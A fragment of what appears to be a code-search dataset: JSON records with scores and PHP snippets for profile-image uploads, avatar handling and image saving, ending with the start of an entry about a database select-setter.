"0.57792026", "text": "public function getProfileImage() {\n\t\treturn $this -> data['profileImage'];\n\t}", "title": "" }, { "docid": "7893218cc1068a77f80f0f33adefe9e6", "score": "0.57596713", "text": "public function postProfileImage()\n {\n $tmpImg = (new User())->changeProfileImage(1);\n return view('user.home.changeimage', ['tmpImg' => $tmpImg]);\n }", "title": "" }, { "docid": "8846aec9d73c3c7aa01744574b02535c", "score": "0.575951", "text": "public function setImage() {\n\t\t$target_dir = UPROOT;\n\t\t$target_name = basename($_FILES['image']['name']);\n\t\t$tmp_name = $_FILES['image']['tmp_name'];\n\t\t$target_file = UPROOT . \"\\\\public\" . \"\\\\img\\\\\" . $target_name;\n\t\t//just in case file already exist ill append time and date\n\t\t$timeStamp = date(\"Y-m-d_H:i:s\");\n\t\t//checking if file with the same name already exists\n\t\t$append = $this->clean($timeStamp);\n\t\tif (file_exists($target_file)) {\n\t\t\t//renaming the new file by exploding it\n\t\t\t$fileName = explode('.', $target_name);\n\t\t\t$target_name = $fileName[0] . '.' . $append . '.' . $fileName[1];\n\t\t\t//reassign the folder path\n\t\t\t$target_file = UPROOT . \"\\\\public\" . \"\\\\img\\\\\" . $target_name;\n\n\t\t}\n\t\t$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));\n\t\t$check = getimagesize($tmp_name);\n\t\t$size = $_FILES[\"image\"][\"size\"];\n\t\t$img = [\n\t\t\t'name' => $target_name,\n\t\t\t'fileType' => $imageFileType,\n\t\t\t'tmp_name' => $tmp_name,\n\t\t\t'target_file' => $target_file,\n\t\t\t'check' => $check,\n\t\t\t'size' => $size,\n\t\t];\n\t\treturn $img;\n\t}", "title": "" }, { "docid": "7dcfe78eaabc4a0c5e5e8d769492ee3e", "score": "0.57564783", "text": "function saveImage(){\n $username = current_user();\n if ($username){\n //$imageUrl = \"http://d.tanios.ca/usnap/api/uploads/\";\n $imageUrl = \"http://52.24.195.247/~sleiman/api.usnap.com/uploads/\";\n $email = get_email($username);\n $app_id = get_app_id($username);\n $moderation = get_moderation_status($app_id);\n\n if ($email) {\n if ($_FILES){\n $db = db();\n $saved = ORM::for_table('U_saved')->create();\n // Set the properties of the object\n $image_name = mt_rand().\".png\";\n $saved->email = $email;\n $saved->username = $username;\n $saved->image_data = $image_name;\n $saved->filename = $_FILES['image_data']['name'];\n $url = $imageUrl.$image_name;\n $watermark_url = $imageUrl.\"watermark/\".$image_name;\n $saved->url = $url;\n $saved->watermark_url = $watermark_url;\n $saved->set_expr('created_at', 'NOW()');\n // $saved->meta = json_encode($_POST['meta']);\n\n if (isset($_POST['fb'])){\n $saved->fb = $_POST['fb'];\n }\n if (isset($_POST['tw_key']) && isset($_POST['tw_secret'])){\n $saved->tw_key = $_POST['tw_key'];\n $saved->tw_secret = $_POST['tw_secret'];\n }\n if (isset($_POST['gp'])) {\n $saved->gp = $_POST['gp'];\n }\n if (isset($_POST['campaign_id'])){\n $saved->campaign_id = $_POST['campaign_id'];\n } else {\n // Set to App Settings Default Campaign\n $saved->campaign_id = 23;\n }\n if (isset($_POST['text'])) {\n $saved->text = $_POST['text'];\n }\n \n $saved->app_id = $app_id;\n if($moderation){\n $saved->status = 0;\n } else {\n $saved->status = 1;\n }\n // Save the object to the database\n $response = uploadImage($_FILES['image_data'],$image_name);\n if ($response[0] == 1){\n \t$saved->fb_likes = 0;\n $saved->save();\n $data = array('image'=>$watermark_url,'email'=>$email);\n pushToAdmin('live-feed','new-image',$data);\n // pushToAdmin('live-feed','new-media');\n }\n \n echo '{\"response\": \"'.$response[1].'\"}';\n } else {\n header(\"HTTP/1.1 400\");\n echo '{\"response\": \"Please upload a file.\"}';\n }\n } else {\n header(\"HTTP/1.1 400\");\n echo '{\"response\": \"Must Be Logged In\"}';\n }\n } else {\n header(\"HTTP/1.1 400\");\n echo '{\"response\": \"No User Detected\"}';\n }\n \n}", "title": "" }, { "docid": "abea79e9e8115efeaaebc6f73a6a5a26", "score": "0.57558423", "text": "function __tmpfile() {\r\r\n\t\treturn tempnam(-1, null) . '.PNG';\r\r\n\t\t}", "title": "" }, { "docid": "338c24b540ea94c634558f629d9e61c9", "score": "0.57554895", "text": "function new_image_upload_temp( $source, $destination, $quality = 100 ){\r\n\r\n\t\t\t$unique_dir = $this->unique_dir();\r\n\r\n\t\t\t$this->make_dir( $unique_dir['dir'] );\r\n\r\n\t\t\t$info = $this->create_and_copy_image( $source, $unique_dir['dir'] . $destination, $quality );\r\n\r\n\t\t\t$url = $unique_dir['url'] . $destination ;\r\n\r\n\t\t\treturn $url;\r\n\r\n\t\t}", "title": "" }, { "docid": "699b2538a80d826d605de626e1f189cc", "score": "0.5753468", "text": "public function deleteldImage() {\n\n if (!empty($this->oldImg) && $this->oldImg != $this->avatar) {\n $file = Yii::app()->basePath . DIRECTORY_SEPARATOR . \"..\" . DIRECTORY_SEPARATOR;\n $file.= \"uploads\" . DIRECTORY_SEPARATOR . \"user_profile\" . DIRECTORY_SEPARATOR . $this->user->primaryKey . DIRECTORY_SEPARATOR . $this->oldImg;\n\n DTUploadedFile::deleteExistingFile($file);\n }\n }", "title": "" }, { "docid": "38fd1720486ae13405e89d36d4238d87", "score": "0.57500714", "text": "function delimage($image_url = null) {\r\n // grab the current logged in user\r\n $sessVar = $this->Auth->user();\r\n $school = $this->User->find('User.id=' . $sessVar['User']['id']);\r\n $data = array(\r\n 'User' => array(\r\n 'id' => $sessVar['User']['id'],\r\n 'username' => $sessVar['User']['username'],\r\n 'image_url' => \"\"\r\n )\r\n );\r\n\r\n if ($this->User->save($data)) {\r\n Configure::write('debug', 0);\r\n $this->autoRender = false;\r\n $this->layout = null;\r\n $this->deleteImagesForUser($image_url);\r\n echo \"true\";\r\n } else {\r\n Configure::write('debug', 0);\r\n $this->autoRender = false;\r\n $this->layout = null;\r\n echo \"false\";\r\n }\r\n }", "title": "" }, { "docid": "a80cd7634e8b335eaddda4778e7eb162", "score": "0.5746867", "text": "public function getPic()\n {\n\n $file = DO_spaces::getFile('SEAKA/PROFILE/xtF4eO7htlESuemnbObErsYQ8L5TSpfQu06PjBGu.png');\n return Storage::disk('do_spaces')->response('SEAKA/PROFILE/xtF4eO7htlESuemnbObErsYQ8L5TSpfQu06PjBGu.png');\n\n\n }", "title": "" }, { "docid": "189bdae2aed0355bb73143ddf8babdbd", "score": "0.57456315", "text": "function saveImage()\n\t{\n\n\t\tif (!$this->ImageStream) {\n\t\t\t$this->printError('image not loaded');\n\t\t}\n\n\t\tswitch ($this->type) {\n\t\t\tcase 1:\n\t\t\t\t/* store a interlaced gif image */\n\t\t\t\tif ($this->interlace === true) {\n\t\t\t\t\timageinterlace($this->ImageStream, 1);\n\t\t\t\t}\n\n\t\t\t\timagegif($this->ImageStream, $this->sFileLocation);\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\t/* store a progressive jpeg image (with default quality value)*/\n\t\t\t\tif ($this->interlace === true) {\n\t\t\t\t\timageinterlace($this->ImageStream, 1);\n\t\t\t\t}\n\n\t\t\t\timagejpeg($this->ImageStream, $this->sFileLocation, $this->jpegquality);\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\t/* store a png image */\n\t\t\t\timagepng($this->ImageStream, $this->sFileLocation);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->printError('invalid imagetype');\n\n\t\t\t\tif (!file_exists($this->sFileLocation)) {\n\t\t\t\t\t$this->printError('file not stored');\n\t\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b2be35f6ef7c40af602f940d42833f4a", "score": "0.57441753", "text": "function keitaro_save_custom_profile_picture( $user_id ) {\n\n\t// only saves if the current user can edit user profiles\n\tif ( ! current_user_can( 'upload_files' ) && ! wp_verify_nonce( 'update-user_' . $user_id ) ) :\n\t\treturn false;\n\tendif;\n\n\tupdate_user_meta( $user_id, 'user_meta_image', esc_attr( $_POST['user_meta_image'] ) );\n\n}", "title": "" }, { "docid": "9548f06c09c9ba2b6f6d85cd6937a6c3", "score": "0.5744151", "text": "private function upload()\n {\n return $this->image_path->saveAs(Yii::$app->params['uploadPath'] . $this->image_path->baseName . '.' . $this->image_path->extension);\n }", "title": "" }, { "docid": "a7db9406b99d0e28f994d055c0893438", "score": "0.57367176", "text": "protected function getPicture()\n {\n\n }", "title": "" }, { "docid": "05d2aa8f8d53076fce225fd93ac3fffb", "score": "0.57332784", "text": "public function save(){\n\n // Authenticate as admin\n $user = User::fetch_by_session();\n if($user === false) return $this->zajlib->json(['status'=>'error', 'message'=>'Your user session has expired!']);\n if($user->data->admin != 'admin') return $this->zajlib->json(['status'=>'error', 'message'=>'Your user account does not have rights to perform this action!']);\n\n // Fetch the photo\n $photo = Photo::fetch($_POST['id']);\n $photo->set_with_data($_POST, ['name', 'alttext', 'caption']);\n $photo->save();\n\n return $this->zajlib->json(['status'=>'ok']);\n }", "title": "" }, { "docid": "1c27a6f590e177102a54b71b07fe7f3d", "score": "0.5732446", "text": "public function getProfileImage(){\n\t\t// To hook into this function we could use a an event:\n\t\t// $event = new CEvent();\n\t\t// $this->onGetProfileImage($event)\n\t\t// // then if the event has been handled \n\t\t// if($event->handled)\n\t\t// // we know another function has handled the event and found us an image url for this user\n\t\t// // it could store this in the event object\n\t\t// return $event->params->imageUrl \n\t\t\n\t\t// Display guest photo\n\t\treturn Yii::app()->controller->createWidget('nii.widgets.Gravatar',array('email'=>$this->email))->getUrl();\n\t}", "title": "" }, { "docid": "5f69bc81de2df63e3832e66b28a1cf72", "score": "0.57256395", "text": "public function store()\n\t{\n\t\t$input = Input::all();\n\n\t\t$image = new Photo();\n\t\t$image->user_id \t= $input['user_id'];\n\t\t$image->fileName \t= $input['fileName']->getClientOriginalName();\n\t\t$image->title \t\t= $input['title'];\n\t\t\n\t\tif($image->save()){\n\t\t\t\n\t\t\t$path = user_photos_path();\n\n\t\t\t$move_image = Image::make($input['fileName']->getRealPath());\n\n\t\t\tFile::exists($path) or File::makeDirectory($path);\n\n\t\t\t$move_image->save($path.$image->fileName)\n\t\t\t\t\t->resize(200,200)\n\t\t\t\t\t->greyscale()\n\t\t\t\t\t->save($path. 'tn-'.$image->fileName);\n\n\t\t\treturn Redirect::to('photos');\t\n\t\t}else{\n\t\t\treturn Ridirect::to('photos.create');\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "acb97ef437d8c82d801aeba8191e6694", "score": "0.5723108", "text": "public function save_profile_image($Keyname = \"image\", $UserID = false){\n if(!$UserID){\n $UserID= \\Session::get('session_id');\n }\n\n if (\\Input::hasFile($Keyname)) {\n $image = \\Input::file($Keyname);\n $ext = $image->getClientOriginalExtension();\n $newName = substr(md5(uniqid(rand())), 0, 8) . '.' . $ext;\n $destinationPath = public_path('assets/images/users/' . $UserID);\n mkdir($destinationPath);\n $image->move($destinationPath, $newName);\n\n edit_database(\"profiles\", \"id\", $UserID, array(\"photo\" => $newName));\n }\n }", "title": "" }, { "docid": "feec7a9e81e84b6ce93127561f866af5", "score": "0.5719193", "text": "public function image_upload(){\n\t\tif($this->Admin_model->is_admin_loged_in() ){\n\t\t\t$type = explode('.', $_FILES['image']['name']);\n\t\t\t$type = $type[count($type)-1];\n\t\t\t$file_name= uniqid(rand()).'.'.$type;\n\n\t\t\tif( in_array($type, array('jpg', 'png', 'jpeg', 'gif', 'JPEG', 'PNG', 'JPEG', 'GIF' )) ){\n\n\t\t\t\t\tif( is_uploaded_file( $_FILES['image']['tmp_name'] ) ){\n\t\t\t\t\t\t$dist = 'libs/upload_pic/ads_image/'.$file_name;\n\t\t\t\t\tmove_uploaded_file( $_FILES['image']['tmp_name'], $dist);\n\t\t\t\t\treturn $dist;\n\t\t\t\t}else{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "ef0fda9c4a8f27edca83a2485f1bb3fa", "score": "0.57115895", "text": "function save_picture($ext)\n {\n global $cfg;\n \n if (!$this->user->logged_in())\n {\n throw new Exception(\"Access denied!\");\n }\n \n if (!isset($_SERVER[\"CONTENT_LENGTH\"]))\n {\n throw new Exception(\"Invalid parameters\");\n }\n \n $size = (int)$_SERVER[\"CONTENT_LENGTH\"];\n $file_name = rand().time().\"{$this->user->id}.$ext\";\n $file_path = \"{$cfg['dir']['content']}$file_name\";\n \n \n // Write the new one\n $input = fopen(\"php://input\", \"rb\");\n $output = fopen($file_path, \"wb\");\n \n if (!$input || !$output)\n {\n throw new Exception(\"Cannot open files!\");\n }\n \n while ($size > 0)\n {\n $data = fread($input, $size > 1024 ? 1024 : $size);\n $size -= 1024;\n \n fwrite($output, $data);\n }\n \n fclose($input);\n fclose($output);\n \n // Update the profile image\n $this->user->profile = $file_name;\n }", "title": "" }, { "docid": "9fb947a3e7ca16ad3f005826abc260e6", "score": "0.57057464", "text": "public function floor_image(){\n\t \tauthenticate(array('ut7'));\n\t\t$userId = $this->session->userdata(\"userId\");\n\t\t$data['userData'] = $this->login->getUserProfile($userId);\n\t \t$this->load->view(\"floor_image\",$data);\t\n\t}", "title": "" }, { "docid": "12c80616bf26ecd4a567d0e86e91a40e", "score": "0.57052886", "text": "public function getImageFile() \n {\n return isset($this->avatar) ? Yii::$app->params['uploadPath'] . $this->avatar : null;\n }", "title": "" }, { "docid": "62273d7da7f4d677fe34aeffec9d3b3e", "score": "0.570293", "text": "public static function convertUserState($data)\n\t\t{ \n\t $image= ($data->status==ConstantDefine::USER_STATUS_ACTIVE) ? 'active' : 'disabled';\n\t\t\t\t\t\n\t\t \t\t $backend_asset=Yii::app()->assetManager->publish(Yii::getPathOfAlias('cms.assets.backend'), false, -1, false);\n\t\t\n\t\t\t \t\treturn $backend_asset.'/images/'.$image.'.png'; \n\t\t}", "title": "" }, { "docid": "f850e224e26206eed68a64eb9c8d7fcc", "score": "0.5701521", "text": "public function takeSnapShot($user_agent='Surebert Kamera', $options=Array()){\n $ch = curl_init($this->url.'/jpg/1/image.jpg?timestamp='.time());\n \n curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);\n curl_setopt($ch, CURLOPT_USERPWD, $this->uname.':'.$this->pass);\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,2);\n curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n \n //add any additional options passed\n foreach($options as $k=>$v){\n curl_setopt($ch, $k, $v);\n }\n return curl_exec($ch);\n }", "title": "" }, { "docid": "5fa95afb2b62419e0113c02e3b229da7", "score": "0.5692989", "text": "public function return_img() {\n\t\treturn $this->img_out;\n\t}", "title": "" }, { "docid": "132151c8b11fca595a1b0fc7c80893e1", "score": "0.56832683", "text": "public function getProfileImg()\n {\n return $this->profile_img;\n }", "title": "" }, { "docid": "7885319491d8afe1d4835e1c047874a5", "score": "0.5682293", "text": "public function getImageSrc() {\r\n $src = 'upload/users/'; // Image directory\r\n if (file_exists('upload/users/'.$this->id().'.jpg')) { \r\n $src .= $this->id().'.jpg';\r\n } else if (file_exists('upload/users/'.$this->id().'.png')) {\r\n $src .= $this->id().'.png';\r\n } else if (file_exists('upload/users/'.$this->id().'.jpeg')) {\r\n $src .= $this->id().'.jpeg';\r\n } else { // Default Image\r\n $src .= 'default.png';\r\n }\r\n return $src;\r\n }", "title": "" }, { "docid": "432cafb50fc6948a7c2831235060695c", "score": "0.5676354", "text": "public function avatar()\n {\n $user = (new Access($this->mysql()))->getUser();\n if (0 < $user->id()) {\n $data = (new Settings())->avatar($user->id(), $user->data());\n $this->setContent(json_encode($data));\n }\n }", "title": "" }, { "docid": "08448f5aade7a1f7ee0b4dfae680f16e", "score": "0.5672914", "text": "function change_picture($data, $pic) {\n $data = str_replace('data:image/png;base64', '', $data);\n $data = str_replace(' ', '+', $data);\n $data = base64_decode($data);\n $source_img = imagecreatefromstring($data);\n $file = '../users/'.$_SESSION['username'].'/'.$pic.'.jpg';\n imagejpeg($source_img, $file,75);\n imagedestroy($source_img);\n http_response_code(200);\n}", "title": "" }, { "docid": "a1c27fb31c359e27e29f925b41b572d5", "score": "0.56688", "text": "public function save_withImage()\r\n\t\t{\r\n\t\t\t\r\n\t\t\tglobal $pdo;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t// TODO: make method more efficient, remove image when new images is uploaded, allow image with the same filename to replace already loaded image\r\n\t\t\tif ( $this->id )\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\tif ( ! empty( $this->errors ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ( empty( $this->filename || empty( $this->tmp_path ) ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->errors[] = \"The file was not available\";\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$users_dir = $this->picture_dir();\r\n\t\t\t\t\r\n\t\t\t\tif ( is_dir( $users_dir ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$target_path = $this->picture_path();\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\tmkdir( $users_dir , 0755 , true );\r\n\t\t\t\t\t$target_path = $this->picture_path();\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif ( file_exists( $target_path ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->errors[] = \"The file {$this->filename} already exists\";\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ( move_uploaded_file( $this->tmp_path , $target_path ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( $this->update() )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tunset( $this->tmp_path );\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn true;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->errors[] = \"The file most likely does not have permission\";\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\tif ( ! empty( $this->errors ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ( empty( $this->filename || empty( $this->tmp_path ) ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->errors[] = \"The file was not available\";\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif ( $this->create() )\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$users_dir = $this->picture_dir();\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( file_exists( $users_dir ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$target_path = $this->picture_path();\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tmkdir( $users_dir , 0755 , true );\r\n\t\t\t\t\t\t$target_path = $this->picture_path();\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( file_exists( $target_path ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this->errors[] = \"The file {$this->filename} already exists\";\r\n\t\t\t\t\t\t$this->id = $pdo->lastInsertedId();\r\n\t\t\t\t\t\t$this->delete();\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( move_uploaded_file( $this->tmp_path , $target_path ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tunset( $this->tmp_path );\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn true;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this->errors[] = \"There was a problem transferring image to disk\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->errors[] = \"The file most likely does not have permission\";\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "99ea40630c578c07112293cd2631c324", "score": "0.5668505", "text": "public function testTwoFactorImageDataIsReturned()\n {\n /** @var \\Pterodactyl\\Models\\User $user */\n $user = User::factory()->create(['use_totp' => false]);\n\n $this->assertFalse($user->use_totp);\n $this->assertEmpty($user->totp_secret);\n $this->assertEmpty($user->totp_authenticated_at);\n\n $response = $this->actingAs($user)->getJson('/api/client/account/two-factor');\n\n $response->assertOk();\n $response->assertJsonStructure(['data' => ['image_url_data']]);\n\n $user = $user->refresh();\n\n $this->assertFalse($user->use_totp);\n $this->assertNotEmpty($user->totp_secret);\n $this->assertEmpty($user->totp_authenticated_at);\n }", "title": "" }, { "docid": "f53f5f430d7db8ed8063c84ed36bb91d", "score": "0.5663687", "text": "public function getUserImageAttribute()\n {\n return ! empty($this->image->image)?$this->image->image:'default.png';\n }", "title": "" }, { "docid": "9d9cc6228b8f00faeedc3b1600edc2f0", "score": "0.56619316", "text": "public function getTempFile()\n {\n return $this->tempFile;\n }", "title": "" }, { "docid": "a79259ab16a15057ddf8716d501c0e65", "score": "0.565697", "text": "function store_avatar($image, $path)\n{\n // Get directory\n $path = check_directory($path);\n\n // Store avatar\n $image_path = Str::random(8) . '-' . $image->getClientOriginalName();\n\n // Create intervention image\n $img = Image::make($image->getRealPath());\n\n // Generate thumbnail\n $img->fit('150', '150')->stream();\n\n // Store thumbnail to disk\n Storage::put($path . '/' . $image_path, $img);\n\n // Return path to image\n return $path . '/' . $image_path;\n}", "title": "" }, { "docid": "c0c9d5e1c3282cc3394c225d1c3e59d9", "score": "0.5656393", "text": "public function save_image_info(){\r\n $old_image_url = $_FILES['member_image']['tmp_name'];\r\n $directory = '../../../mainSite/assets/team_member_image/';\r\n $image_name = $_FILES['member_image']['name'];\r\n $new_img_url = $directory.$image_name;\r\n\r\n $image_type = pathinfo($image_name, PATHINFO_EXTENSION);\r\n $image_size = $_FILES['member_image']['size'];\r\n $check = getimagesize($old_image_url);\r\n\r\n if($check){\r\n if(file_exists($new_img_url)){\r\n die('The file alredy exits! Please Try another one.');\r\n }else{\r\n if ($image_size>5000000){\r\n die('File size is too large! Please upload Small file.');\r\n }else{\r\n if ($image_type != 'jpg' && $image_type != 'png'){\r\n die('File type is not valid! Please upload JPG or PNG file.');\r\n }else{\r\n /*code for move image in our project folder and etc*/\r\n move_uploaded_file($old_image_url, $new_img_url);\r\n return $new_img_url;\r\n }\r\n }\r\n }\r\n }else{\r\n die('The file you Upload is not an image! Please upload a Valid Image.');\r\n }\r\n\r\n }", "title": "" }, { "docid": "3b3508e2d09a9cb2bcc98dd566802e85", "score": "0.5646763", "text": "public function uploadImage()\n {\n /* Getting current user's data */\n $user = Auth::getUser();\n\n /* Checking if user is online */\n if ($user) {\n\n /* Checking if image was upload */\n if (is_uploaded_file($_FILES['image']['tmp_name'])) {\n\n /* Creating new Upload's object */\n $upload = new Upload([\n 'subfolder' => 'answers/',\n 'name' => $_FILES['image']['name'],\n 'type' => $_FILES['image']['type'],\n 'tmp_name' => $_FILES['image']['tmp_name'],\n 'error' => $_FILES['image']['error'],\n 'size' => $_FILES['image']['size'],\n ]);\n\n /* Setting new random title for image */\n $upload->name = $upload->getRandomFilename(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));\n\n /* Uploading image */\n if ($upload->upload()) {\n\n /* Return response */\n header('Content-Type: application/json');\n echo json_encode('/media/images/answers/'.$upload->name);\n }\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "3c93ca90a16efc95585f4968a94cc798", "score": "0.56404424", "text": "function add_user($user_fname, $user_lname, $user_email, $user_image, $user_temp_image, $user_role, $user_name, $user_password){\n\n global $connection;\n\n copy($user_temp_image, \"../images/$user_image\");\n\n $user_password = password_hash($user_password, PASSWORD_BCRYPT, array('cost' => 10));\n\n $query = \"INSERT INTO users(user_firstname, user_lastname, user_email, user_image, user_role, user_name, user_password) \";\n $query .= \"VALUES(?, ?, ?, ?, ?, ?, ?)\";\n $stmt = mysqli_prepare($connection, $query);\n mysqli_stmt_bind_param($stmt, \"sssssss\", $user_fname, $user_lname, $user_email, $user_image, $user_role, $user_name, $user_password);\n mysqli_stmt_execute($stmt);\n mysqli_stmt_close($stmt); \n}", "title": "" }, { "docid": "d4fd49760682f24baec613114247a1e5", "score": "0.56328464", "text": "public function image()\n {\n return $this->image;\n }", "title": "" }, { "docid": "905be92fceae2ed634738f2109c4fc05", "score": "0.5624241", "text": "public function update_profileImage() {\n \n $data = $_POST['image'];\n\n list($type, $data) = explode(';', $data);\n list(, $data) = explode(',', $data);\n\n $data = base64_decode($data);\n $imageName = time().'.png';\n\n file_put_contents('files/uploads/users/'.$imageName, $data);\n $data = $this->request->data;\n $id = $this->Auth->user('id');\n $profile_image = $imageName;\n if (!empty($profile_image)) {\n $ext = substr(strtolower(strrchr($profile_image, '.')), 1);\n $arr_ext = array(\n 'jpg',\n 'jpeg',\n 'gif',\n 'png',\n );\n if (in_array($ext, $arr_ext)) {\n move_uploaded_file($profile_image, WWW_ROOT . 'files/uploads/users/' . $profile_image);\n \n $data['profile_image'] = $profile_image;\n $update = $this->User->updateUser($id, $data);\n if ($update == 1) {\n $this->Session->write('Auth.User.profile_image', $profile_image);\n die();\n }\n }\n }\n \n \n \n }", "title": "" } ]
9b6b1e59d60882af99a547be86a07bcb
Sets the select object.
[ { "docid": "6327350960f70a24371bee377f74a20f", "score": "0.6749292", "text": "public function setSelect(Recipe_Database_Select $select)\n\t{\n\t\t$this->select = $select;\n\t\treturn $this;\n\t}", "title": "" } ]
[ { "docid": "46c83a88237cd82fa50f7199c7cd4226", "score": "0.7575851", "text": "public function SetSelect($select)\n {\n $this->select = $select;\n }", "title": "" }, { "docid": "1c8f48ea57c1f9f9572e02444d89b4da", "score": "0.69620454", "text": "public function set_rs_select() {\n }", "title": "" }, { "docid": "61c07eee0cef69b87c6218294b8397b9", "score": "0.688749", "text": "public function setSelect($selectArray)\n {\n $this->select = $selectArray;\n }", "title": "" }, { "docid": "4516cbed26fa5e6feadbab41a5c43272", "score": "0.67904425", "text": "public function setSelect($val)\n {\n $this->_propDict[\"select\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "d7fa0cce98a54656530549507ea991fc", "score": "0.6244296", "text": "public function set_select($pParamString) {\n $this->_select = $pParamString;\n return $this;\n }", "title": "" }, { "docid": "e00441e2af30f5ba2a20aaab33c31c58", "score": "0.6208184", "text": "private function _crearSelect() {\n\n //$this->_attr= array_merge($this->_attr,['name'=>$this->_name]);\n\n $this->_attr = array_merge($this->_attr, ['type' => $this->_tipo,\n 'name' => $this->_name,\n 'id' => $this->id\n ]);\n parent::__construct($this->_tipo, $this->_attr);\n $options = $this->obtOpciones();\n $this->_crearOpcionesSelect($options);\n }", "title": "" }, { "docid": "fdf0eeffa33131cc19117e2ed577599e", "score": "0.61701727", "text": "public function select($dbSelect) {\n $this->dbSelect = $dbSelect;\n }", "title": "" }, { "docid": "89b643d61bfe585eefb8fccf5770a620", "score": "0.6135557", "text": "public function select( $select ) {\n $args = func_get_args();\n\n $this->_type = self::TYPE_SELECT;\n\n foreach( $args AS $arg ) {\n $this->_select[] = $arg;\n }\n\n return $this;\n }", "title": "" }, { "docid": "5293acd6f61b81cbf16523caa58cdbeb", "score": "0.60749245", "text": "public function select($select);", "title": "" }, { "docid": "d2f567815d3b594f473491af3c7f617e", "score": "0.60315675", "text": "public function select($select)\n {\n $this->_select($select, false);\n\n return $this;\n }", "title": "" }, { "docid": "564c7cc425d300d379a114930b52e207", "score": "0.60049886", "text": "public function initSelectize(Selectize $selectize)\n {\n $this->selectize = $selectize;\n }", "title": "" }, { "docid": "52f9e7595044b1cec611dd1af4812f65", "score": "0.59898317", "text": "public function selectFields($select='*')\n\t\t{\n\t\t\t$this->reload();\n\t\t\t$this->select = $select;\n\t\t}", "title": "" 